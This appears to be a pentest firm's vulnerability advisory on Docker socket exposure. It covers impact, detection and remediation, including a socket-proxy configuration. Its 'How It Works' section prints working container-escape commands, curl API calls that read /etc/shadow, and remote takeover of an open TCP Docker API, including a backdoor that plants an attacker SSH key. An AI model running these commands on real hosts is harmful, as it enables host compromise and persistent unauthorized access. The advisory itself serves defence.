SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalMisconfiguration

Docker Socket Exposure

Exposing the Docker socket to containers or the network grants root-equivalent access to the host, enabling immediate container escape and full system compromise.

CVSS 9.0CWE CWE-284OWASP A05:2021 — Security Misconfiguration

Description

The Docker socket (/var/run/docker.sock) is a Unix socket that provides direct control over the Docker daemon running on the host. Any process that can write to or read from this socket has complete authority over all containers on the host and, critically, can create new containers with arbitrary mounts and capabilities—including mounting the host filesystem or running in privileged mode. This is functionally equivalent to root access on the host.

CWE-284 (Improper Access Control) applies because access to the Docker socket is not appropriately restricted. A05:2021 Security Misconfiguration captures the pattern: the Docker socket is frequently exposed inadvertently as a convenience measure for CI/CD agents, monitoring tools, or development environments, without understanding that it constitutes a complete privilege boundary breach.

Exposure occurs in two forms: mounting the socket into a container (-v /var/run/docker.sock:/var/run/docker.sock), which is common for CI/CD agents (Jenkins, GitLab Runner) and Docker management tools; and exposing the Docker Remote API on a TCP port (-H tcp://0.0.0.0:2375), which has historically resulted in large-scale cryptominer infections when accidentally internet-facing. Both forms are critical severity findings.

How It Works

From within a container that has the Docker socket mounted, escaping to the host is trivial:

# Verify Docker socket is accessible inside the container
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker ... /var/run/docker.sock

# Use the Docker CLI (may be present) or raw API calls
# Method 1: Docker CLI — create a privileged container with host mount
docker run -it -v /:/host --privileged alpine chroot /host /bin/bash

# Method 2: API via curl if Docker CLI is absent
curl -s --unix-socket /var/run/docker.sock \
  http://localhost/containers/json
# Lists all running containers — confirms socket access

# Method 3: Create a new container that mounts host root
curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "chroot /host cat /etc/shadow"],
    "Mounts": [{"Type":"bind","Source":"/","Target":"/host"}],
    "HostConfig": {"Privileged": true}
  }' \
  http://localhost/containers/create

An exposed TCP Docker API on the internet:

# Discovery: Shodan search
# port:2375 product:"Docker"

# Remote exploitation — no authentication required on default config
docker -H tcp://target-ip:2375 ps
docker -H tcp://target-ip:2375 run -it -v /:/host alpine chroot /host bash

# Automated exploitation with a backdoor
docker -H tcp://target-ip:2375 run -d \
  -v /root/.ssh:/root/.ssh \
  alpine sh -c "echo 'attacker-ssh-pubkey' >> /root/.ssh/authorized_keys"

Penetration testers check for socket exposure in containers and scan for the unauthenticated TCP API using Shodan or direct port scanning:

# Scan for exposed Docker API
nmap -sV -p 2375,2376 --script docker-version <target-range>

Impact

  • Container escape — Any process with socket access creates a privileged container and gains full root access to the host in seconds.
  • Host filesystem access — Mounting the host root filesystem allows reading SSH keys, credentials, secrets, and writing backdoors to the host.
  • Persistence — Attackers modify host cron jobs, systemd units, or SSH authorized_keys to maintain access after the compromised container is removed.
  • Lateral movement — Host access exposes network interfaces, routing tables, and the credentials needed to pivot to other hosts and cloud services.
  • Cryptominer deployment — Internet-facing Docker APIs are targeted by automated bots that deploy cryptomining workloads within minutes of exposure.

Detection

  1. Inside containers in scope, check for the Docker socket: ls -la /var/run/docker.sock and find / -name docker.sock 2>/dev/null.
  2. Verify whether the container can call the Docker API: curl -s --unix-socket /var/run/docker.sock http://localhost/info.
  3. Scan the host and container network ranges for TCP ports 2375 (unencrypted) and 2376 (TLS) using nmap -p 2375,2376 <range>.
  4. Review Docker Compose files, Kubernetes pod specs, and CI/CD configuration for -v /var/run/docker.sock:/var/run/docker.sock volume mounts.
  5. Check Docker daemon configuration (/etc/docker/daemon.json) for hosts: ["tcp://0.0.0.0:2375"] entries.

Remediation

Never mount the Docker socket into production containers. For CI/CD and build workloads that require Docker, use rootless builds (Kaniko, Buildah, BuildKit) that do not require the Docker socket.

Use a Docker socket proxy. When tool access to the Docker socket is unavoidable, use Tecnativa/docker-socket-proxy to restrict API calls to the minimum required:

# docker-socket-proxy — allows only container listing, blocks privileged operations
services:
  docker-proxy:
    image: tecnativa/docker-socket-proxy
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    environment:
      CONTAINERS: 1    # Allow
      POST: 0          # Block POST (creation) operations
      EXEC: 0          # Block exec
      VOLUMES: 0       # Block volume mounting

Disable TCP Docker API. Ensure the Docker daemon does not listen on any TCP address. Review /etc/docker/daemon.json and systemd drop-ins for TCP host directives.

Apply network segmentation. If the Docker TCP API is required for legitimate management, restrict access to specific administrative IP addresses at the firewall level.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping